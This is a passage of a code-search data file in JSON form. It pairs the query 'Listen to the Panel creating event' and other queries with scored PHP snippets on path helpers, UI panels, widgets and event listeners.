"title": "" }, { "docid": "06bd3f3622bd910612369121f05b5742", "score": "0.5231711", "text": "private function getPath()\n {\n $uri = $_SERVER['REQUEST_URI'];\n $components = explode('?', $uri);\n $path = $components[0];\n if ($path != '/') {\n $path = trim($path, '/');\n }\n return filter_var($path, FILTER_SANITIZE_STRIPPED);\n }", "title": "" }, { "docid": "e46b567cd46106b44914375a10a9884f", "score": "0.523106", "text": "public static function label() \n {\n return class_basename(get_called_class());\n }", "title": "" }, { "docid": "6c5f43207eb211fc3c0a50f78fb441ee", "score": "0.52266884", "text": "protected function dirName()\n\t{\n\t\treturn dirname($this->path);\n\t}", "title": "" }, { "docid": "d3376e58d1d52ac92920cf12902d5d79", "score": "0.52243084", "text": "public function GetPath(): string\n {\n return $this->Path;\n }", "title": "" }, { "docid": "17e168ffe07c26db14c8627053feec5c", "score": "0.52217776", "text": "protected function getFileSystemPath()\n {\n return realpath(dirname($_SERVER['SCRIPT_FILENAME'])) . '/';\n }", "title": "" }, { "docid": "9e9973624ed05b2872464454a81cc2be", "score": "0.5218377", "text": "function forumThreadsThreads()\n {\n return \"Subjects\";\n }", "title": "" }, { "docid": "5a358bd7fb6a407aedf6025243f13f5e", "score": "0.52137506", "text": "public function path()\n {\n return $this->getRealPath();\n }", "title": "" }, { "docid": "933831d67d4219b873213b1273d2fcbf", "score": "0.5211778", "text": "public function getPath() : string\n {\n return $this->path;\n }", "title": "" }, { "docid": "933831d67d4219b873213b1273d2fcbf", "score": "0.5211778", "text": "public function getPath() : string\n {\n return $this->path;\n }", "title": "" }, { "docid": "933831d67d4219b873213b1273d2fcbf", "score": "0.5211778", "text": "public function getPath() : string\n {\n return $this->path;\n }", "title": "" }, { "docid": "e52f00da325968cfa25997c4f1fb4222", "score": "0.52082896", "text": "public static function getPath() : string {\n $path = $_SERVER[\"REQUEST_URI\"] ?? \"/\";\n $queryPosition = strpos($path,\"?\");\n $path = $queryPosition ? substr($path,0,$queryPosition) : $path;\n return \"/\".ltrim($path,\"/\");\n }", "title": "" }, { "docid": "23792ce0a7691ac30ab0f4882a7f3075", "score": "0.5205834", "text": "private function getFullPathToLock(string $name): string\n {\n return $this->path . $name . '/' . $this->lockName;\n }", "title": "" }, { "docid": "ee347def8fc55b5aa7b36107514a12c6", "score": "0.5199586", "text": "function _generateFilename() {\n\t\t$fileInfo = pathinfo($_SERVER[\"PHP_SELF\"]);\n\t\treturn _substr($fileInfo[\"basename\"],0,-(_strlen($fileInfo[\"extension\"])+1)).\".mbox\";\n\t}", "title": "" } ]
5ec94bb16020ce2467402ff773348ec7
Listen to the Panel creating event.
[ { "docid": "aee5dbf3fd64664dec2d6dff1952cb71", "score": "0.56987315", "text": "public function creating(Panel $panel)\n {\n $panel->created_by = Auth::id();\n }", "title": "" } ]
[ { "docid": "44e6295c6d75eaa9cf13950aae101ffa", "score": "0.65820503", "text": "static public function listenToAddPanelEvent(sfEvent $event)\n {\n $event->getSubject()->setPanel('db', new self($event->getSubject()));\n }", "title": "" }, { "docid": "04ecdbf30487ce30733eac30703bd0f9", "score": "0.6531093", "text": "protected function formCreate() {\n $this->objPanel1 = new Panel($this);\n $this->objPanel1->AutoRenderChildren = true;\n $this->objPanel1->CssClass = 'container';\n $this->objPanel1->Text = \"I'm panel 1\";\n $this->objPanel1->addAction(new Click(), new Ajax('objPanel1_Click'));\n\n $this->objPanel2 = new Panel($this->objPanel1);\n $this->objPanel2->CssClass = 'container';\n $this->objPanel2->addCssClass('insidePanel');\n $this->objPanel2->Text = \"I'm panel 2 and I'm a child of panel 1.<br/><br/>If you click me, both my click action and panel 1's click action will fire\";\n $this->objPanel2->addAction(new Click(), new Ajax('objPanel2_Click'));\n\n /*\n * These two panels here will demenstrate how to STOP even bubbling\n */\n $this->objPanel3 = new Panel($this);\n $this->objPanel3->CssClass = 'container';\n $this->objPanel3->AutoRenderChildren = true;\n $this->objPanel3->Text = \"I'm panel 3\";\n $this->objPanel3->addAction(new Click(), new Ajax('objPanel3_Click'));\n\n $this->objPanel4 = new Panel($this->objPanel3);\n $this->objPanel4->CssClass = 'container';\n $this->objPanel4->addCssClass('insidePanel');\n $this->objPanel4->Text = \"I'm panel 4 and I'm a child of panel 3.<br/><br/>If you click me only my click action will fire thanks to StopPropagation\";\n // Note the addition of \\QCubed\\Action\\StopPropagation()\n $this->objPanel4->addAction(new Click(), new StopPropagation());\n $this->objPanel4->addAction(new Click(), new Ajax('objPanel4_Click'));\n\n }", "title": "" }, { "docid": "8ffae6e76c70c4506ac776857d647a2c", "score": "0.6400257", "text": "private function register_panel(): void\n {\n if (null !== $this->panel) {\n Kirki::add_panel(\n $this->panel_name,\n [\n 'priority' => $this->panel_priority,\n 'title' => $this->panel['title'],\n 'description' => $this->panel['description'],\n ]\n );\n }\n }", "title": "" }, { "docid": "2c9d179ad84f98580523b28cc0df248b", "score": "0.5664488", "text": "protected function initPanel()\n {\n if (!$this->bootstrap || !is_array($this->panel) || empty($this->panel)) {\n return;\n }\n Html::addCssClass($this->options, 'kv-grid-panel');\n $options = ArrayHelper::getValue($this->panel, 'options', []);\n $type = ArrayHelper::getValue($this->panel, 'type', 'default');\n $heading = ArrayHelper::getValue($this->panel, 'heading', '');\n $footer = ArrayHelper::getValue($this->panel, 'footer', '');\n $before = ArrayHelper::getValue($this->panel, 'before', '');\n $after = ArrayHelper::getValue($this->panel, 'after', '');\n $headingOptions = ArrayHelper::getValue($this->panel, 'headingOptions', []);\n $titleOptions = ArrayHelper::getValue($this->panel, 'titleOptions', []);\n $footerOptions = ArrayHelper::getValue($this->panel, 'footerOptions', []);\n $beforeOptions = ArrayHelper::getValue($this->panel, 'beforeOptions', []);\n $afterOptions = ArrayHelper::getValue($this->panel, 'afterOptions', []);\n $summaryOptions = ArrayHelper::getValue($this->panel, 'summaryOptions', []);\n $panelHeading = '';\n $panelBefore = '';\n $panelAfter = '';\n $panelFooter = '';\n $notBs3 = !$this->isBs(3);\n if (isset($this->panelPrefix)) {\n static::initCss($options, $this->panelPrefix.$type);\n } else {\n $this->addCssClass($options, self::BS_PANEL);\n $border = $type === self::TYPE_LIGHT ? 'border' : \"border-{$type}\";\n Html::addCssClass($options, $notBs3 ? $border : \"panel-{$type}\");\n }\n static::initCss($summaryOptions, $this->getCssClass(self::BS_PULL_RIGHT));\n $titleTag = ArrayHelper::remove($titleOptions, 'tag', ($notBs3 ? 'h5' : 'h3'));\n static::initCss($titleOptions, $notBs3 ? 'm-0' : $this->getCssClass(self::BS_PANEL_TITLE));\n if ($heading !== false) {\n $color = ' '.$this->getCssClass('panel-'.$type);\n static::initCss($headingOptions, $this->getCssClass(self::BS_PANEL_HEADING).$color);\n $panelHeading = Html::tag('div', $this->panelHeadingTemplate, $headingOptions);\n }\n if ($footer !== false) {\n static::initCss($footerOptions, $this->getCssClass(self::BS_PANEL_FOOTER));\n $content = Lib::strtr($this->panelFooterTemplate, ['{footer}' => $footer]);\n $panelFooter = Html::tag('div', $content, $footerOptions);\n }\n if ($before !== false) {\n static::initCss($beforeOptions, 'kv-panel-before');\n $content = Lib::strtr($this->panelBeforeTemplate, ['{before}' => $before]);\n $panelBefore = Html::tag('div', $content, $beforeOptions);\n }\n if ($after !== false) {\n static::initCss($afterOptions, 'kv-panel-after');\n $content = Lib::strtr($this->panelAfterTemplate, ['{after}' => $after]);\n $panelAfter = Html::tag('div', $content, $afterOptions);\n }\n $out = Lib::strtr($this->panelTemplate, [\n '{panelHeading}' => $panelHeading,\n '{type}' => $type,\n '{panelFooter}' => $panelFooter,\n '{panelBefore}' => $panelBefore,\n '{panelAfter}' => $panelAfter,\n ]);\n\n $this->layout = Html::tag('div', Lib::strtr($out, [\n '{title}' => Html::tag($titleTag, $heading, $titleOptions),\n '{summary}' => Html::tag('div', '{summary}', $summaryOptions),\n ]), $options);\n }", "title": "" }, { "docid": "e8021c65c7a2efbcb9d8acc6db925345", "score": "0.5587928", "text": "private function listen(){\n\n\t\t\t$options = [ 'icon' => 'dashicons dashicons-admin-generic', 'classes' => ['active'] ];\n\t\t\tSettingsPanel::make(\n\t\t\t\t'settings',\n\t\t\t\t__( 'Main Settings', 'chefforms' ),\n\t\t\t\t$options\n\t\t\t)->set( $this->mainSettingFields() );\n\n\t\t\t$options = [ 'icon' => 'dashicons dashicons-yes' ];\n\t\t\tSettingsPanel::make(\n\t\t\t\t'confirmation',\n\t\t\t\t__( 'Confirmation', 'chefforms' ),\n\t\t\t\t$options\n\t\t\t)->set( $this->confirmationSettingsFields() );\n\n\t\t}", "title": "" }, { "docid": "89d86cd7a82c61cb1631248fee24a61f", "score": "0.5398838", "text": "function ncurses_new_panel($window) {}", "title": "" }, { "docid": "e385c813702bac7b041cd0df5b6d1876", "score": "0.5351972", "text": "public function create()\n {\n //post作成画面\n }", "title": "" }, { "docid": "81dd3ca185fd8909b24f8ab62b7b33a8", "score": "0.5294479", "text": "public function idxPanelConstructHook(IDX_Panel $idxPanel)\n {\n\n if (in_array($idxPanel->getId(), $this->locked_panels)) {\n $idxPanel->setLocked(true);\n }\n }", "title": "" }, { "docid": "1a3e51a371f36d45404e38cb547cb121", "score": "0.52763593", "text": "public function attachEvents() {}", "title": "" }, { "docid": "8608e402c93b368faddd8cd94db2faaa", "score": "0.52759266", "text": "protected function OnCreateElements() {}", "title": "" }, { "docid": "ddb98c22ed0aedb10e01aafe9c7eea45", "score": "0.52492326", "text": "protected function attachDefaultCreateListeners()\n {\n $this->breadEventManager->attach(BreadEvent::EVENT_CREATE, [$this, 'loadPrg'], 1000);\n $this->breadEventManager->attach(BreadEvent::EVENT_CREATE, [$this, 'postToService'], 500);\n $this->breadEventManager->attach(BreadEvent::EVENT_CREATE, [$this, 'loadForm'], 20);\n $this->breadEventManager->attach(BreadEvent::EVENT_CREATE, [$this, 'setupFormForView'], 10);\n $this->breadEventManager->attach(BreadEvent::EVENT_CREATE, [$this, 'onActionCreate']);\n $this->breadEventManager->attach(BreadEvent::EVENT_CREATE, [$this, 'setupViewModel'], -100);\n }", "title": "" }, { "docid": "46af3b4e36771a9e4255e3d855330969", "score": "0.5219404", "text": "public static function register()\n\t{\n\t\tDebug::addPanel(new self);\n\t}", "title": "" }, { "docid": "46af3b4e36771a9e4255e3d855330969", "score": "0.5219404", "text": "public static function register()\n\t{\n\t\tDebug::addPanel(new self);\n\t}", "title": "" }, { "docid": "26241146233ee3108f86a80d389c1014", "score": "0.5212983", "text": "public function idxPanelConstructHook(IDX_Panel $idxPanel)\n {\n\n if (in_array($idxPanel->getId(), $this->locked_panels)) {\n $idxPanel->setLocked(true);\n }\n\n if (in_array($idxPanel->getId(), $this->blocked_panels)) {\n $idxPanel->setBlocked(true);\n }\n }", "title": "" }, { "docid": "39ae2f8690ab0861e060aff14b47275e", "score": "0.521058", "text": "protected function createMyEvents()\n {\n $this->subscribeEvent(\n 'Enlight_Controller_Dispatcher_ControllerPath_Backend_PilipayWarehouses', 'onGetControllerPathBackend'\n );\n\n $this->subscribeEvent(\n 'Enlight_Controller_Dispatcher_ControllerPath_Frontend_PaymentPilipay', 'onGetControllerPathFrontend'\n );\n\n $this->subscribeEvent(\n 'Enlight_Bootstrap_InitResource_PilipayClient', 'onInitResourcePilipayClient'\n );\n\n $this->subscribeEvent(\n 'Shopware_Controllers_Backend_Order::saveAction::after', 'ShopwareControllersBackendOrderSaveActionAfter'\n );\n\n /**\n * Registration of templates\n */\n $this->subscribeEvent('Enlight_Controller_Action_PostDispatchSecure_Frontend', 'onPostDispatchFrontend', 110);\n\n\n }", "title": "" }, { "docid": "4a414e53d8745f674cf41c4fac485aa6", "score": "0.5210077", "text": "public function slider_create()\n {\n //\n }", "title": "" }, { "docid": "ec8fe670623bd87a87b6f68a88c95a5b", "score": "0.5209305", "text": "public function addPanel(\\MilanKyncl\\Debugbar\\Bar\\Panel $panel) {\n\n\t\t$this->_panels[] = $this->resolvePanelClass($panel);\n\n\t}", "title": "" }, { "docid": "8df67ee9b546d51932d2ae8f43a7e9e8", "score": "0.5188881", "text": "public function __invoke(FormCreatedEvent $event)\n {\n }", "title": "" }, { "docid": "b9059a607067317378846a2b8f166331", "score": "0.51508105", "text": "public function create()\n\t{\n\t\t$this->layout->content \t= View::make('admin.modules.carousel.add');\n\t}", "title": "" }, { "docid": "b403407d38fa5a51da57d09f29f2c097", "score": "0.51289034", "text": "protected function createEvents()\n\t{\n\t\t$strategy = $this->rocketeer->getOption('remote.strategy');\n\t\t$this->halting = array(\n\t\t\t$strategy.'Repository',\n\t\t\t'runComposer',\n\t\t\t'checkTestsResults',\n\t\t);\n\t}", "title": "" }, { "docid": "73fe5d7160be40525c1c646ce40e1186", "score": "0.5128074", "text": "public function listen()\n {\n craft()->templates->hook('fbPixel.renderBase', [\n $this, 'renderBase'\n ]);\n\n craft()->fbPixel_viewContent->listen();\n craft()->fbPixel_initiateCheckout->listen();\n craft()->fbPixel_purchase->listen();\n craft()->fbPixel_addToCart->listen();\n }", "title": "" }, { "docid": "463972bc9e34f34db5271dcaeeb29bb6", "score": "0.5120654", "text": "public function create() {\n $this->window= new GtkWindow();\n }", "title": "" }, { "docid": "64e7e581ef77ab766ed5d2a2fb1b5f1f", "score": "0.51200724", "text": "public function run()\n {\n\n PanelModule::create([\n 'name' => 'Kategoria',\n ]);\n\n PanelModule::create([\n 'name' => 'Produkt',\n ]);\n\n PanelModule::create([\n 'name' => 'Zamówienie',\n ]);\n\n PanelModule::create([\n 'name' => 'Użytkownik',\n ]);\n\n PanelModule::create([\n 'name' => 'Zestaw atrybutów',\n ]);\n\n PanelModule::create([\n 'name' => 'Zestaw wariantów',\n ]);\n\n PanelModule::create([\n 'name' => 'Stawka VAT',\n ]);\n\n PanelModule::create([\n 'name' => 'Producent',\n ]);\n\n PanelModule::create([\n 'name' => 'Magazyn',\n ]);\n\n PanelModule::create([\n 'name' => 'Klient',\n ]);\n\n PanelModule::create([\n 'name' => 'Strona informacyjna',\n ]);\n\n }", "title": "" }, { "docid": "083973962c16b7b34a58ae32392320a8", "score": "0.51165456", "text": "protected function after_create($hook)\n{\n\t$this->add_hook('after_create', $hook);\n}", "title": "" }, { "docid": "43b214c855e479932d43053c313fb153", "score": "0.5113739", "text": "protected function initPluginType()\n {\n $dispatcher = $this->client->getEventDispatcher();\n $dispatcher->addListener(Events::POST_CREATE_REQUEST, [$this, 'postCreateRequest']);\n }", "title": "" }, { "docid": "5634d04503086107869e9bbc386992c3", "score": "0.51027197", "text": "public function add()\n {\n\n // Se usa este evento, porque en admin, al usar Requirements::js, lo coloca antes del jquery\n // saca error, esto como esta programado application/Libraries/Thems -> admin_requirements()\n \n Event::add('ushahidi_filter.view_pre_render.admin_layout', array($this, 'add_requirements'));\n\n\t\t// Hook into the form itself\n\t\tEvent::add('ushahidi_action.quality_form', array($this, '_report_form'));\n \n // Hook into the report_submit_admin (post_POST) event right before saving\n Event::add('ushahidi_action.report_submit_admin', array($this, '_post_data'));\n\n\t}", "title": "" }, { "docid": "4e7f15ff5569f448ced8d0c62e26a43b", "score": "0.51010936", "text": "public function create(CreateAdminPanelRequest $request)\n {\n // ..\n }", "title": "" }, { "docid": "1c216100025a85f27d07a7ea8d6226de", "score": "0.5094823", "text": "public function beforeNodeCreate() {\n\t\tif (!$this->eventEmittingService->isEnabled()) {\n\t\t\treturn;\n\t\t}\n\n\t\t/* @var $nodeEvent NodeEvent */\n\t\t$nodeEvent = $this->eventEmittingService->generate(self::NODE_ADDED, array(), 'TYPO3\\Neos\\EventLog\\Domain\\Model\\NodeEvent');\n\t\t$this->currentNodeAddEvents[] = $nodeEvent;\n\t\t$this->eventEmittingService->pushContext($nodeEvent);\n\t}", "title": "" }, { "docid": "461fbe1567f9729581faf532f14bd2ab", "score": "0.509319", "text": "function __construct()\r\n\t{\r\n\r\n\t\t$this->events[\"BeforeAdd\"]=true;\r\n\r\n\r\n\t}", "title": "" }, { "docid": "486acaa0ef9571847c0055886924787b", "score": "0.50593287", "text": "private function handleCreate()\n { \n $events = array(\n 'socket_create' => array($this->domain, $this->type, $this->protocol),\n 'socket_bind' => array(&$this->sock, &$this->ip, &$this->port),\n 'socket_getsockname' => array(&$this->sock, &$this->ip, &$this->port),\n 'socket_listen' =>array(&$this->sock),\n );\n\n foreach ($events as $e => $args) {\n $this->exec($e, $args, false);\n }\n\n $this->resetListeners();\n }", "title": "" }, { "docid": "5620542c5ddbdb9add28d64535d43534", "score": "0.50562364", "text": "public function create()\n {\n $this->name = '';\n $this->openModalPopover();\n }", "title": "" }, { "docid": "ce0c227d86efd69171cf19b9f9838862", "score": "0.5036738", "text": "public function create()\n {\n register_sidebar(array(\n 'name' => __($this->name, $this->text_domain),\n 'id' => $this->id,\n 'description' => $this->description,\n 'class' => $this->class,\n 'before_widget' => $this->before_widget,\n 'after_widget' => $this->after_widget,\n 'before_title' => $this->before_title,\n 'after_title' => $this->after_title\n ));\n }", "title": "" }, { "docid": "14060b6aa6929b2c71d8230d914fc9c9", "score": "0.5026563", "text": "protected function onLoad()\n\t\t{\n\t\t\t// Event handling\n\t\t\t$this->events->add(new Events\\PageControllerCreatePageEvent());\n\t\t}", "title": "" }, { "docid": "152b566b1bd2c6642ccefc92fc1acc6b", "score": "0.50144666", "text": "public function createSolarpanels()\n\t{\n\t\tif ($this->bool_data) {\n\t\t\timagefilledrectangle ($this->image, 0,0, imagesx($this->image), imagesy($this->image), $this->background_color);\n\n\t\t\tforeach ($this->data_array as $id => $value) {\n\t\t\t\t$this->drawPanel ($id, $value);\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\t$this->error[] = \"createSolarpanels: No valid solar data added.\";\n\t\t}\n\n\t\t//display errors\n\t\t$this->displayErrors();\n\n\t\t//output to browser\n\t\tif ($this->output_file) {\n\t\t\timagepng($this->image, $this->output_file);\n\t\t} else {\n\t\t\timagepng($this->image);\n\t\t}\n\t\timagedestroy($this->image);\n\t}", "title": "" }, { "docid": "f3735bf7ede0a046fb62e87db25e4a19", "score": "0.5010718", "text": "public function createWatcher()\n {\n $this->watcher = new wxFileSystemWatcher();\n $directory = new wxFilename($this->getWatchFolder());\n $ok = $this->watcher->add($directory, wxFSW_EVENT_ALL);\n $this->logger($ok ? 'Added watcher OK' : 'Failed to add');\n $this->watcher->SetOwner($this);\n\n // This is the event code to attach to\n $this->Connect(wxEVT_FSWATCHER, [$this, \"onFileEvent\"]);\n }", "title": "" }, { "docid": "b83eef80f64e72ce062e6c92219ce5f3", "score": "0.49922174", "text": "public function create()\n\t{\n $this->layout->content = View::make('private.winners.create');\n\t}", "title": "" }, { "docid": "6d7912d241811c30849b40dd0d8a29e1", "score": "0.49919164", "text": "function eventclass_pengguna()\n\t{\n\t\t$this->events[\"BeforeAdd\"]=true;\n\n\n//\tonscreen events\n\n\n\t}", "title": "" }, { "docid": "797b942232a825ecf1f70fda6fddad5b", "score": "0.49721688", "text": "public function create()\n\t{\n\t\t$data = Input::all();\n\t\tif ( Request::ajax() ) \treturn View::make('agendaevents.panels.create', compact('data'));\n\t\telse \t\t\t\t \treturn View::make('agendaevents.create', compact('data'));\n\t}", "title": "" }, { "docid": "e8c55c6b9f0b7c4f4a2918efbb4bae8f", "score": "0.4959138", "text": "public function preCreateCallback()\n {\n }", "title": "" }, { "docid": "f606e4a21e3453e92218e23115fa268c", "score": "0.49338832", "text": "protected function afterCreate()\n {}", "title": "" }, { "docid": "f7d013b3fb7a9aebb678db67b5ed102b", "score": "0.49203283", "text": "function onShow(){\n\t\t# Equivalent to something on content/ php\n\t\t###### -> Construct should add this module to the onShow array\n\t}", "title": "" }, { "docid": "f7d013b3fb7a9aebb678db67b5ed102b", "score": "0.49203283", "text": "function onShow(){\n\t\t# Equivalent to something on content/ php\n\t\t###### -> Construct should add this module to the onShow array\n\t}", "title": "" }, { "docid": "e1a26767c7288a620544a6bc2dd7a257", "score": "0.49175516", "text": "public function instantiateJS () {\n $miscSettings = Yii::app()->params->profile->miscLayoutSettings;\n $layoutEditorParams = array (\n \t'miscSettingsUrl' => Yii::app()->controller->createUrl('saveMiscLayoutSetting'),\n \t'margin' => $this->columnMargin\n );\n\n $columnWidth = $this->columnWidth;\n if ($columnWidth) {\n \t$layoutEditorParams['columnWidth'] = $columnWidth;\n }\n\n $layoutEditorParams = CJSON::encode($layoutEditorParams);\n\n\t\t$widgetManagerParams = CJSON::encode (array(\n 'setSortOrderUrl' => Yii::app()->controller->createUrl ('/profile/setWidgetOrder'),\n 'showWidgetContentsUrl' => \n Yii::app()->controller->createUrl ('/profile/view', array ('id' => 1)),\n 'connectedContainerSelector' => '.connected-sortable-profile-container',\n 'translations' => $this->getTranslations(),\n 'createProfileWidgetUrl' => \n Yii::app()->controller->createUrl ('/profile/createProfileWidget'),\n \n 'createChartingWidgetUrl' => \n Yii::app()->controller->createUrl ('/reports/addToDashboard'),\n \n ));\n\n $script = \"\n \tx2.profileWidgetManager = new ProfileWidgetManager ($widgetManagerParams);\n \tx2.profileLayoutManager = new x2.ProfileLayoutEditor ($layoutEditorParams);\n\n \tnew PopupDropdownMenu ({\n \t containerElemSelector: '#x2-hidden-profile-widgets-menu-container',\n \t openButtonSelector: '#show-profile-widget-button',\n \t defaultOrientation: 'left'\n \t});\n\t\t\t\n \";\n\n Yii::app()->clientScript->registerScript(\n 'profilePageInitScript', $script, CClientScript::POS_END);\n \n\t}", "title": "" }, { "docid": "f5c2bf96c831d825163979611abc357c", "score": "0.4916295", "text": "public function addPanel(&$atkWizardPanel)\n {\n $this->m_panelList[] = &$atkWizardPanel;\n $this->m_panelIndex[$atkWizardPanel->getPanelName()] = count($this->m_panelList)-1;\n }", "title": "" }, { "docid": "9c9e552897fb752d6a3d3eeb5ac3c95f", "score": "0.49119875", "text": "function __construct()\n\t{\n\t\t$this->events[\"AfterEdit\"]=true;\n\n\t\t$this->events[\"AfterAdd\"]=true;\n\n\n//\tonscreen events\n\n\t}", "title": "" }, { "docid": "72c172f2e013c1d54ad3c80f82f341e5", "score": "0.49084228", "text": "public function onRun() {\n $this->createScss();\n\n //Main CSS File\n //$this->addCss('css/elements.css', 'elements-css');\n\n //MagnificPopUp\n $this->addJs('js/jquery.magnific-popup.min.js', 'jquery-magnific-popup.min-js');\n $this->addCss('css/magnific-popup.css', 'magnific-popup-css');\n\n //$this->addCss('css/elements_style.css', 'elements-style-css'); \n $this->addJs('js/babel-elements-ext.js', 'babel-elements-ext-js');\n\n //Slick Files\n $this->addCss('css/slick.css', 'slick-css');\n $this->addJs('js/slick.min.js', 'slick-min-js');\n \n $this->page['elementMenuItems'] = $this->loadItems();\n\n //Slider Category Width and Heigth\n $this->page['sliderWidth'] = $this->property('elementWidth', 400);\n $this->page['sliderHeight'] = $this->property('elementHeight', 400);\n }", "title": "" }, { "docid": "15f37f39a4427670695d7242995ca7c7", "score": "0.49006304", "text": "function addEvent()\n\t{\n\t\tJRequest::setVar( 'view', 'events' );\n\t\tJRequest::setVar( 'layout', 'default' );\n\n\t\tJRequest::setVar( 'flagUpt', '' );\n\t\tparent::display();\n\t}", "title": "" }, { "docid": "339d2b2ed5e83d16ed8bf473e7cb850b", "score": "0.4893352", "text": "public function add()\n {\n EventManager::addAction('init', [$this, 'register']);\n }", "title": "" }, { "docid": "60c25f83e2e5c55e3b3d519dfe905878", "score": "0.48881322", "text": "protected function OnCreateElements() {\n \t$this->GetElement_PageNavigation();\n\t$this->GetElement_PageHeader();\n\t$this->GetElement_PageContent();\n\t$o = $this->GetElement_LoginWidget();\n\t$o->SetVisible(FALSE);\t// we're going to manually insert the rendering of this\n }", "title": "" }, { "docid": "f8fd7baec75cfc4767cd40129efe6548", "score": "0.48688847", "text": "public function created(Service $domains)\n {\n event(new GenerateScreen($domains));\n event(new CheckServiceStatus($domains));\n }", "title": "" }, { "docid": "8e711947af9ac4d79cf5897158a99d9d", "score": "0.48551562", "text": "protected function before_create($hook)\n{\n\t$this->add_hook('before_create', $hook);\n}", "title": "" }, { "docid": "16df5f6dbedf48136c67ad5c5dae76a1", "score": "0.4851924", "text": "public function render() {\n\tob_start();\n\t\n echo '<div class=\"wrap\"><h2>'.__('wopsta Statistiken', 'wopsta').'</h2></div>';\n \n\t\techo '<div id=\"dashboard_container\" style=\"width:99%; border:0px;\"></div>';\n\t\t\n echo '<script type=\"text/javascript\">';\n echo $this->render_js();\n echo '</script>';\n \n ?>\n <script type=\"text/javascript\"> \n\tExt.onReady(function(){\n\n // NOTE: This is an example showing simple state management. During development,\n // it is generally best to disable state management as dynamically-generated ids\n // can change across page loads, leading to unpredictable results. The developer\n // should ensure that stable state ids are set for stateful components in real apps.\n Ext.state.Manager.setProvider(new Ext.state.CookieProvider());\n\t\n // create some portlet tools using built in Ext tool ids\n var tools = [{\n id:'gear',\n handler: function(){\n Ext.Msg.alert('Message', 'The Settings tool was clicked.');\n }\n },{\n id:'close',\n handler: function(e, target, panel){\n \t//Ext.Msg.alert('before destroy called');\n\t\t\t//panel.ownerCt.remove(panel, true);\n\t\t\t\n\t\t\tconsole.log(panel.initialConfig.itemId);\n\t\t\t\n\t\t\tpanel.hide(panel,true); \n }\n }];\n\t\n\t<?php $count = count($this->panels)?>\n\t\n\tvar mainPanel = new Ext.Panel({\n renderTo:'dashboard_container',\n\t\tlayout:'fit',\n autoHeight:true,\n\t\tborder:false,\n\t\titems:[{\n xtype:'portal',\n region:'center',\n border:false,\n\t\t\tmargins:'15 5 5 0',\n\t\t items:[{\n columnWidth:1,\n items:[<?php foreach($this->panels as $panel): \t\n\t\t\t\t echo '{';\n\t\t\t\t echo \"title: '\".__($panel->getTitle(), 'wopsta').\"',\"; \n\t\t\t\t echo \"itemId:'\".$panel->getName().\"',\";\n\t\t\t\t echo 'tools: tools,';\n echo 'items:['.$panel->getName().']'; \n\t\t\t \t if($count > 1)\n\t\t\t\t {\n\t\t\t\t echo '},';\t\n\t\t\t\t }\n\t\t\t\t else\n\t\t\t\t {\n\t\t\t\t \techo '}';\n\t\t\t\t }\n\t\t\t\t $count = $count -1;\n\t\t\t\tendforeach;?>\n\t\t\t\t]\n\t\t }]\n \n /*\n * Uncomment this block to test handling of the drop event. You could use this\n * to save portlet position state for example. The event arg e is the custom \n * event defined in Ext.ux.Portal.DropZone.\n */\n ,listeners: {\n 'drop': function(e){\n Ext.Msg.alert('Portlet Dropped', e.panel.title + '<br />Column: ' + \n e.columnIndex + '<br />Position: ' + e.position);\n }\n\t\t }\n\t\t\t\n }]\n });\n});\n\t\t\n</script>\n<?php\n \n ob_end_flush();\n \n }", "title": "" }, { "docid": "33dc7ea001557f2c9a26689d2d4c935e", "score": "0.48466015", "text": "public function create()\n {\n $this->title = 'Добавить клиента';\n $this->page = 'Клиенты / Добавить клиента';\n $content = view(config('settings.theme').'.admin.manager.addEditPartners')->render();\n $this->vars = array_add($this->vars,'content',$content);\n return $this->renderOutput();\n }", "title": "" }, { "docid": "5dbad27308922e6607f7b863682f85ea", "score": "0.48401615", "text": "public function created (Module $module)\n {\n $this->fire ();\n }", "title": "" }, { "docid": "d58fa9f4944b6d9fdb468eaaf7783adb", "score": "0.4840076", "text": "public function create()\n {\n $this->openModal();\n }", "title": "" }, { "docid": "cb918b3d1802058f113d6af29698565e", "score": "0.48354974", "text": "public function add()\n {\n Event::add('ushahidi_filter.view_pre_render.admin_layout', array($this, 'add_requirements'));\n\n }", "title": "" }, { "docid": "4ff56b1e9b983c5a22f8acdb77db108c", "score": "0.48200908", "text": "protected function addControls()\n\t{\n\t}", "title": "" }, { "docid": "0c08677e618c5e5f2aa135621d444c1e", "score": "0.48063508", "text": "function create_screen() {\n do_action('bpge_create_screen', $this);\n }", "title": "" }, { "docid": "847ab837279291644695fff403ae28c3", "score": "0.47974023", "text": "function ncurses_panel_window($panel) {}", "title": "" }, { "docid": "55e56f21782e5e01664fc5fa4d154047", "score": "0.4784289", "text": "function __construct()\r\n\t{\r\n\t\t$this->events[\"AfterAdd\"]=true;\r\n\r\n\t\t$this->events[\"BeforeDelete\"]=true;\r\n\r\n\t\t$this->events[\"BeforeAdd\"]=true;\r\n\r\n\r\n//\tonscreen events\r\n\r\n\t}", "title": "" }, { "docid": "c97482511432ffbc2336c07b89aa0954", "score": "0.4782605", "text": "protected function firePostCreateHooks(): void\n {\n foreach ($this->postCreate as $callback) {\n $callback();\n }\n }", "title": "" }, { "docid": "4728abbac6a6213a0f0679764fee395b", "score": "0.47618505", "text": "public function getPanelNode()\n {\n if (!is_object($this->m_node))\n {\n atkdebug(\"atkWizardPanel::getPanelNode() create node. Node name: \" . $this->m_nodeName);\n\n $this->m_node = &getNode($this->m_nodeName);\n if(!is_object($this->m_node))\n {\n atkerror(\"atkWizardPanel::getPanelNode() Node could not be created. Node name: \" . $this->m_nodeName);\n return NULL;\n }\n\n //Add listeners to node\n for($i=0, $_i=count($this->m_listeners); $i<$_i; $i++)\n {\n $this->m_node->addListener($this->m_listeners[$i]);\n }\n\n //Add actionhandlers to node\n for($i=0, $_i=count($this->m_actionHandlers); $i<$_i; $i++)\n {\n $handlerName = $this->m_actionHandlers[$i]['name'];\n $handlerAction = $this->m_actionHandlers[$i]['action'];\n\n $handler = &new $handlerName();\n atkRegisterNodeHandler($this->m_node->m_type, $handlerAction, $handler);\n }\n\n //All nodes should return the output and not try to fill the screen themselves\n $controller = &atkController::getInstance();\n $controller->setNode($this->m_node);\n \n //Make session aware of the fact that we are rendering a node which has been\n //created by a wizard panel and is not posted as a variable\n global $g_sessionManager;\n /* @var $g_sessionManager atkSessionManager */\n $g_sessionManager->stackVar(\"atknodetype\", $this->m_nodeName);\n $g_sessionManager->stackVar(\"atkaction\", $this->m_defaultAction);\n \n //We set how we want the atk page to be returned\n $this->m_wizard->setPageFlags(HTML_ALL); \n }\n return $this->m_node;\n }", "title": 